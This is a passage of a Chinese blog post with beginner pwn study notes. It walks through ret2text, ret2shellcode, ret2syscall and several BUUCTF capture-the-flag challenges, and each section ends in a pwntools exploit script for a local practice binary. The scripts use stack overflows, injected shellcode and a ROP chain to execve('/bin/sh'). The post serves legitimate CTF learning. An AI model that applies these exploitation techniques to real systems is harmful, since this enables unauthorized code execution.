Pwn学习

1.ret2text

首先拖入KaLi中,checksec

 发现是一个32位elf文件,并且开启了 NX , 即为No execute(栈禁止执行)

使用IDA Pro打开

发现vulnerable和get_shell函数,双击打开

 

存在栈溢出漏洞, 并且有直接的shell函数。

使用gdb调试,在main函数下断点

 使用cyclic生成字符串

 

 可得知需要输入的数量为16+4 (16+32位下的4位地址)

POC如下

from pwn import *
io = process ("./ret2text")

shell = 0x8048522
payload = (b'A'*20 + p32(shell))

io.sendline(payload)
io.interactive()

shell的地址为IDA下get_shell函数的地址 即

成功获取shell 

2.ret2shellcode

checksec

 

 32位elf,使用IDA Pro打开

发现只有main函数

 栈溢出漏洞,buf2为全局变量,并且是bss段,具有可执行权限

 使用gdb获取需要填充的字符数量

下断点

 

 

需要填充的字符数量为 108 +  4 = 112

构造POC

from pwn import *
sh = process ("./ret2shellcode")

shellcode = asm(shellcraft.sh())
execute_addr = 0x0804A080
payload = (shellcode.ljust(112,b'A') + p32(execute_addr))

sh.sendline(payload)
sh.interactive()

使用shellcraft.sh构造shell

成功获取shell 

3.ret2syscall

checksec

 开启了 NX,是32位elf文件

只看到了main函数,不过已经够了 

按下Shift + F12,看到了/bin/sh

使用gdb进行动态调试

需要输入的字符数量为112,由于没有system,因此需要使用ROPgadget工具。

 

 

 

 

因为:execve("/bin/sh",0,0)

构造POC

from pwn import *
sh = process ("./ret2syscall")

binsh_addr = 0x080be408
pop_eax_addr = 0x080bb196
pop_edx_ecx_ebx_addr = 0x0806eb90
int = 0x08049421
payload = (b'A' * 112 + p32(pop_eax_addr) + p32(0xb) + p32(pop_edx_ecx_ebx_addr) + p32(0) + p32(0) + p32(binsh_addr)  + p32(int))

sh.sendline(payload)
sh.interactive()

成功获取shell。 

4.BUUCTF

4.1jarvisoj_level0

checksec

64位elf文件,开启了NX

使用IDA Pro打开

关键字捕捉

callsystem是shell函数,vulnerable_fuction里存在栈溢出漏洞

gdb动态调试

 

因此是128+8(64位地址)= 136

构造POC

from pwn import *
sh = process ("/root/Desktop/Pwn Subject/level0")

binsh_addr = 0x400596
payload = (b'A'*136 + p64(binsh_addr))

sh.sendline(payload)
sh.interactive()

 成功获取shell

 4.2. test your nc

这题没什么好说的,打开就是shell函数,使用nc直接连接就可以拿到shell

4.3 rip

checksec

 使用IDA Pro打开进行静态分析

发现main函数与fun函数

fun函数为shell函数,main函数中存在栈溢出漏洞

gdb动态调试 

  

 即为15+8个字符

构造POC

from pwn import *
sh = process ("/root/Desktop/Pwn Subject/pwn1")

binsh_addr = 0x401186
payload = (b'A'*23 + p64(binsh_addr))

sh.sendline(payload)
sh.interactive()

成功获取shell

 4.4 warmup_csaw_2016

checksec

64位elf 

使用IDA Pro进行静态分析

一眼发现不了除了main函数以外的函数,实际上藏了一个叫

的shell函数 

并且这个地址能直接跳转到shell函数 

gdb动态调试

 

 因此为64+8 = 72位

构造POC

from pwn import *
sh = process ("./warmup_csaw_2016")

binsh_addr = 0x400611
payload = (b'A'*(64+0x8) + p64(binsh_addr))

sh.sendline(payload)
sh.interactive()

成功获取flag.txt

只不过我是本地文件,因此没有 。

4.5 ciscn_2019_n_1

checksec

是64位elf 使用IDA Pro进行静态调试 

发现2个函数,main与func

只要溢出到v2,使得v2等于这个值 便可以获取flag.txt

gdb动态调试 

 

 为48+8

构造POC

from pwn import *
sh = process ("/root/Desktop/Pwn Subject/ciscn_2019_n_1")

binsh_addr = 0x4006BE
payload = (b'A'*(48+0x8) + p64(binsh_addr))

sh.sendline(payload)
sh.interactive()

成功cat flag.txt

 4.6 pwn1_sctf_2016

checksec 

32位elf

使用IDA Pro进行静态调试

发现4个函数 main,get_flag,replace,vuln

其中vuln函数与replace函数配合使用,输入的I被replace函数替换为you

get_flag函数则为cat flag.txt

s变量的大小为

输入I又被替换为you,因此60/3 = 20,输入20个I即可溢出 

构造POC

from pwn import *
sh = process ("./pwn1_sctf_2016")

binsh_addr = 0x8048F0D
payload = b'I'*20 + b'A'*0x4 + p32(binsh_addr)

sh.sendline(payload)
sh.interactive()

成功cat flag.txt

早上就做了这么点题目,整理整理发出来也就当备份了。

  • 2
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值